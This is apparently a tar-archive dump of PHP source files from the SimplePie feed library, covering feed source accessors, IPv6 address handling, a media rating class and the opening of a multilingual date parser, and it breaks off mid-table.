            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * @param int $key
     * @return Author|null
     */
    public function get_author(int $key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * @return array<Author>|null
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        }

        return null;
    }

    /**
     * @param int $key
     * @return Author|null
     */
    public function get_contributor(int $key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * @return array<Author>|null
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * @param int $key
     * @param string $rel
     * @return string|null
     */
    public function get_link(int $key = 0, string $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if (isset($links[$key])) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Added for parity between the parent-level and the item/entry-level.
     *
     * @return string|null
     */
    public function get_permalink()
    {
        return $this->get_link(0);
    }

    /**
     * @param string $rel
     * @return array<string>|null
     */
    public function get_links(string $rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                $key = (string) $key;

                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }

        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    /**
     * @return string|null
     */
    public function get_description()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'subtitle')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'tagline')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * @return string|null
     */
    public function get_copyright()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'copyright')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'copyright')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * @return string|null
     */
    public function get_language()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'language')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif (isset($this->data['xml_lang'])) {
            return $this->sanitize($this->data['xml_lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * @return float|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * @return float|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * @return string|null
     */
    public function get_image_url()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'image')) {
            return $this->sanitize($return[0]['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'logo')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'icon')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }
}

class_alias('SimplePie\Source', 'SimplePie_Source');
Net/IPv6.php000064400000016324152222652070006600 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Net;

/**
 * Class to validate and to work with IPv6 addresses.
 *
 * @copyright 2003-2005 The PHP Group
 * @license http://www.opensource.org/licenses/bsd-license.php
 * @link http://pear.php.net/package/Net_IPv6
 * @author Alexander Merz <alexander.merz@web.de>
 * @author elfrink at introweb dot nl
 * @author Josh Peck <jmp at joshpeck dot org>
 * @author Sam Sneddon <geoffers@gmail.com>
 */
class IPv6
{
    /**
     * Uncompresses an IPv6 address
     *
     * RFC 4291 allows you to compress consecutive zero pieces in an address to
     * '::'. This method expects a valid IPv6 address and expands the '::' to
     * the required number of zero pieces.
     *
     * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
     *           ::1         ->  0:0:0:0:0:0:0:1
     *
     * @author Alexander Merz <alexander.merz@web.de>
     * @author elfrink at introweb dot nl
     * @author Josh Peck <jmp at joshpeck dot org>
     * @copyright 2003-2005 The PHP Group
     * @license http://www.opensource.org/licenses/bsd-license.php
     * @param string $ip An IPv6 address
     * @return string The uncompressed IPv6 address
     */
    public static function uncompress(string $ip)
    {
        $c1 = -1;
        $c2 = -1;
        if (substr_count($ip, '::') === 1) {
            [$ip1, $ip2] = explode('::', $ip);
            if ($ip1 === '') {
                $c1 = -1;
            } else {
                $c1 = substr_count($ip1, ':');
            }
            if ($ip2 === '') {
                $c2 = -1;
            } else {
                $c2 = substr_count($ip2, ':');
            }
            if (strpos($ip2, '.') !== false) {
                $c2++;
            }
            // ::
            if ($c1 === -1 && $c2 === -1) {
                $ip = '0:0:0:0:0:0:0:0';
            }
            // ::xxx
            elseif ($c1 === -1) {
                $fill = str_repeat('0:', 7 - $c2);
                $ip = str_replace('::', $fill, $ip);
            }
            // xxx::
            elseif ($c2 === -1) {
                $fill = str_repeat(':0', 7 - $c1);
                $ip = str_replace('::', $fill, $ip);
            }
            // xxx::xxx
            else {
                $fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
                $ip = str_replace('::', $fill, $ip);
            }
        }
        return $ip;
    }

    /**
     * Compresses an IPv6 address
     *
     * RFC 4291 allows you to compress consecutive zero pieces in an address to
     * '::'. This method expects a valid IPv6 address and compresses consecutive
     * zero pieces to '::'.
     *
     * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
     *           0:0:0:0:0:0:0:1        ->  ::1
     *
     * @see uncompress()
     * @param string $ip An IPv6 address
     * @return string The compressed IPv6 address
     */
    public static function compress(string $ip)
    {
        // Prepare the IP to be compressed
        $ip = self::uncompress($ip);
        $ip_parts = self::split_v6_v4($ip);

        // Replace all leading zeros
        $ip_parts[0] = (string) preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

        // Find bunches of zeros
        if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
            $max = 0;
            $pos = null;
            foreach ($matches[0] as $match) {
                if (strlen($match[0]) > $max) {
                    $max = strlen($match[0]);
                    $pos = $match[1];
                }
            }

            assert($pos !== null, 'For PHPStan: Since the regex matched, there is at least one match. And because the pattern is non-empty, the loop will always end with $pos ≥ 1.');
            $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
        }

        if ($ip_parts[1] !== '') {
            return implode(':', $ip_parts);
        }

        return $ip_parts[0];
    }

    /**
     * Splits an IPv6 address into the IPv6 and IPv4 representation parts
     *
     * RFC 4291 allows you to represent the last two parts of an IPv6 address
     * using the standard IPv4 representation
     *
     * Example:  0:0:0:0:0:0:13.1.68.3
     *           0:0:0:0:0:FFFF:129.144.52.38
     *
     * @param string $ip An IPv6 address
     * @return array{string, string} [0] contains the IPv6 represented part, and [1] the IPv4 represented part
     */
    private static function split_v6_v4(string $ip): array
    {
        if (strpos($ip, '.') !== false) {
            $pos = strrpos($ip, ':');
            assert($pos !== false, 'For PHPStan: IPv6 address must contain colon, since split_v6_v4 is only ever called after uncompress.');
            $ipv6_part = substr($ip, 0, $pos);
            $ipv4_part = substr($ip, $pos + 1);
            return [$ipv6_part, $ipv4_part];
        }

        return [$ip, ''];
    }

    /**
     * Checks an IPv6 address
     *
     * Checks if the given IP is a valid IPv6 address
     *
     * @param string $ip An IPv6 address
     * @return bool true if $ip is a valid IPv6 address
     */
    public static function check_ipv6(string $ip)
    {
        $ip = self::uncompress($ip);
        [$ipv6, $ipv4] = self::split_v6_v4($ip);
        $ipv6 = explode(':', $ipv6);
        $ipv4 = explode('.', $ipv4);
        if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
            foreach ($ipv6 as $ipv6_part) {
                // The section can't be empty
                if ($ipv6_part === '') {
                    return false;
                }

                // Nor can it be over four characters
                if (strlen($ipv6_part) > 4) {
                    return false;
                }

                // Remove leading zeros (this is safe because of the above)
                $ipv6_part = ltrim($ipv6_part, '0');
                if ($ipv6_part === '') {
                    $ipv6_part = '0';
                }

                // Check the value is valid
                $value = hexdec($ipv6_part);
                if ($value < 0 || $value > 0xFFFF) {
                    return false;
                }
                assert(is_int($value), 'For PHPStan: $value is only float when $ipv6_part > PHP_INT_MAX');
                if (dechex($value) !== strtolower($ipv6_part)) {
                    return false;
                }
            }
            if (count($ipv4) === 4) {
                foreach ($ipv4 as $ipv4_part) {
                    $value = (int) $ipv4_part;
                    if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
                        return false;
                    }
                }
            }
            return true;
        }

        return false;
    }

    /**
     * Checks if the given IP is a valid IPv6 address
     *
     * @codeCoverageIgnore
     * @deprecated Use {@see IPv6::check_ipv6()} instead
     * @see check_ipv6
     * @param string $ip An IPv6 address
     * @return bool true if $ip is a valid IPv6 address
     */
    public static function checkIPv6(string $ip)
    {
        return self::check_ipv6($ip);
    }
}

class_alias('SimplePie\Net\IPv6', 'SimplePie_Net_IPv6');
Net/.htaccess000064400000000000152222652070007061 0ustar00Rating.php000064400000003402152222652070006503 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively
 *
 * Used by {@see \SimplePie\Enclosure::get_rating()} and {@see \SimplePie\Enclosure::get_ratings()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_rating_class()}
 */
class Rating
{
    /**
     * Rating scheme
     *
     * @var ?string
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Rating value
     *
     * @var ?string
     * @see get_value()
     */
    public $value;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct(
        ?string $scheme = null,
        ?string $value = null
    ) {
        $this->scheme = $scheme;
        $this->value = $value;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the organizational scheme for the rating
     *
     * @return string|null
     */
    public function get_scheme()
    {
        if ($this->scheme !== null) {
            return $this->scheme;
        }

        return null;
    }

    /**
     * Get the value of the rating
     *
     * @return string|null
     */
    public function get_value()
    {
        if ($this->value !== null) {
            return $this->value;
        }

        return null;
    }
}

class_alias('SimplePie\Rating', 'SimplePie_Rating');
Parse/.htaccess000064400000000000152222652070007405 0ustar00Parse/Date.php000064400000062206152222652070007215 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Parse;

/**
 * Date Parser
 */
class Date
{
    /**
     * Input data
     *
     * @access protected
     * @var string
     */
    public $date;

    /**
     * List of days, calendar day name => ordinal day number in the week
     *
     * @access protected
     * @var array<string, int<1,7>>
     */
    public $day = [
        // English
        'mon' => 1,
        'monday' => 1,
        'tue' => 2,
        'tuesday' => 2,
        'wed' => 3,
        'wednesday' => 3,
        'thu' => 4,
        'thursday' => 4,
        'fri' => 5,
        'friday' => 5,
        'sat' => 6,
        'saturday' => 6,
        'sun' => 7,
        'sunday' => 7,
        // Dutch
        'maandag' => 1,
        'dinsdag' => 2,
        'woensdag' => 3,
        'donderdag' => 4,
        'vrijdag' => 5,
        'zaterdag' => 6,
        'zondag' => 7,
        // French
        'lundi' => 1,
        'mardi' => 2,
        'mercredi' => 3,
        'jeudi' => 4,
        'vendredi' => 5,
        'samedi' => 6,
        'dimanche' => 7,
        // German
        'montag' => 1,
        'mo' => 1,
        'dienstag' => 2,
        'di' => 2,
        'mittwoch' => 3,
        'mi' => 3,
        'donnerstag' => 4,
        'do' => 4,
        'freitag' => 5,
        'fr' => 5,
        'samstag' => 6,
        'sa' => 6,
        'sonnabend' => 6,
        // AFAIK no short form for sonnabend
        'so' => 7,
        'sonntag' => 7,
        // Italian
        'lunedì' => 1,
        'martedì' => 2,
        'mercoledì' => 3,
        'giovedì' => 4,
        'venerdì' => 5,
        'sabato' => 6,
        'domenica' => 7,
        // Spanish
        'lunes' => 1,
        'martes' => 2,
        'miércoles' => 3,
        'jueves' => 4,
        'viernes' => 5,
        'sábado' => 6,
        'domingo' => 7,
        // Finnish
        'maanantai' => 1,
        'tiistai' => 2,
        'keskiviikko' => 3,
        'torstai' => 4,
        'perjantai' => 5,
        'lauantai' => 6,
        'sunnuntai' => 7,
        // Hungarian
        'hétfő' => 1,
        'kedd' => 2,
        'szerda' => 3,
        'csütörtok' => 4,
        'péntek' => 5,
        'szombat' => 6,
        'vasárnap' => 7,
        // Greek
        'Δευ' => 1,
        'Τρι' => 2,
        'Τετ' => 3,
        'Πεμ' => 4,
        'Παρ' => 5,
        'Σαβ' => 6,
        'Κυρ' => 7,
        // Russian
        'Пн.' => 1,
        'Вт.' => 2,
        'Ср.' => 3,
        'Чт.' => 4,
        'Пт.' => 5,
        'Сб.' => 6,
        'Вс.' => 7,
    ];

    /**
     * List of months, calendar month name => calendar month number
     *
     * @access protected
     * @var array<string, int<1,12>>
     */
    public $month = [
        // English
        'jan' => 1,
        'january' => 1,
        'feb' => 2,
        'february' => 2,
        'mar' => 3,
        'march' => 3,
        'apr' => 4,
        'april' => 4,
        'may' => 5,
        // No long form of May
        'jun' => 6,
        'june' => 6,
        'jul' => 7,
        'july' => 7,
        'aug' => 8,
        'august' => 8,
        'sep' => 9,
        'september' => 9,
        'oct' => 10,
        'october' => 10,
        'nov' => 11,
        'november' => 11,
        'dec' => 12,
        'december' => 12,
        // Dutch
        'januari' => 1,
        'februari' => 2,
        'maart' => 3,
        // 'april' => 4,
        'mei' => 5,
        'juni' => 6,
        'juli' => 7,
        'augustus' => 8,
        // 'september' => 9,
        'oktober' => 10,
        // 'november' => 11,
        // 'december' => 12,
        // French
        'janvier' => 1,
        'février' => 2,
        'mars' => 3,
        'avril' => 4,
        'mai' => 5,
        'juin' => 6,
        'juillet' => 7,
        'août' => 8,
        'septembre' => 9,
        'octobre' => 10,
        'novembre' => 11,
        'décembre' => 12,
        // German
        'januar' => 1,
        // 'jan' => 1,
        'februar' => 2,
        // 'feb' => 2,
        'märz' => 3,
        'mär' => 3,
        // 'april' => 4,
        // 'apr' => 4,
        // 'mai' => 5, // no short form for may
        // 'juni' => 6,
        // 'jun' => 6,
        // 'juli' => 7,
        // 'jul' => 7,
        // 'august' => 8,
        // 'aug' => 8,
        // 'september' => 9,
        // 'sep' => 9,
        // 'oktober' => 10,
        'okt' => 10,
        // 'november' => 11,
        // 'nov' => 11,
        'dezember' => 12,
        'dez' => 12,
        // Italian
        'gennaio' => 1,
        'febbraio' => 2,
        'marzo' => 3,
        'aprile' => 4,
        'maggio' => 5,
        'giugno' => 6,
        'luglio' => 7,
        'agosto' => 8,
        'settembre' => 9,
        'ottobre' => 10,
        // 'novembre' => 11,
        'dicembre' => 12,
        // Spanish
        'enero' => 1,
        'febrero' => 2,
        // 'marzo' => 3,
        'abril' => 4,
        'mayo' => 5,
        'junio' => 6,
        'julio' => 7,
        // 'agosto' => 8,
        'septiembre' => 9,
        'setiembre' => 9,
        'octubre' => 10,
        'noviembre' => 11,
        'diciembre' => 12,
        // Finnish
        'tammikuu' => 1,
        'helmikuu' => 2,
        'maaliskuu' => 3,
        'huhtikuu' => 4,
        'toukokuu' => 5,
        'kesäkuu' => 6,
        'heinäkuu' => 7,
        'elokuu' => 8,
        'suuskuu' => 9,
        'lokakuu' => 10,
        'marras' => 11,
        'joulukuu' => 12,
        // Hungarian
        'január' => 1,
        'február' => 2,
        'március' => 3,
        'április' => 4,
        'május' => 5,
        'június' => 6,
        'július' => 7,
        'augusztus' => 8,
        'szeptember' => 9,
        'október' => 10,
        // 'november' => 11,
        // 'december' => 12,
        // Greek
        'Ιαν' => 1,
        'Φεβ' => 2,
        'Μάώ' => 3,
        'Μαώ' => 3,
        'Απρ' => 4,
        'Μάι' => 5,
        'Μαϊ' => 5,
        'Μαι' => 5,
        'Ιούν' => 6,
        'Ιον' => 6,
        'Ιούλ' => 7,
        'Ιολ' => 7,
        'Αύγ' => 8,
        'Αυγ' => 8,
        'Σεπ' => 9,
        'Οκτ' => 10,
        'Νοέ' => 11,
        'Δεκ' => 12,
        // Russian
        'Янв' => 1,
        'января' => 1,
        'Фев' => 2,
        'февраля' => 2,
        'Мар' => 3,
        'марта' => 3,
        'Апр' => 4,
        'апреля' => 4,
        'Май' => 5,
        'мая' => 5,
        'Июн' => 6,
        'июня' => 6,
        'Июл' => 7,
        'июля' => 7,
        'Авг' => 8,
        'августа' => 8,
        'Сен' => 9,
        'сентября' => 9,
        'Окт' => 10,
        'октября' => 10,
        'Ноя' => 11,
        'ноября' => 11,
        'Дек' => 12,
        'декабря' => 12,

    ];

    /**
     * List of timezones, abbreviation => offset from UTC
     *
     * @access protected
     * @var array<string, int>
     */
    public $timezone = [
        'ACDT' => 37800,
        'ACIT' => 28800,
        'ACST' => 34200,
        'ACT' => -18000,
        'ACWDT' => 35100,
        'ACWST' => 31500,
        'AEDT' => 39600,
        'AEST' => 36000,
        'AFT' => 16200,
        'AKDT' => -28800,
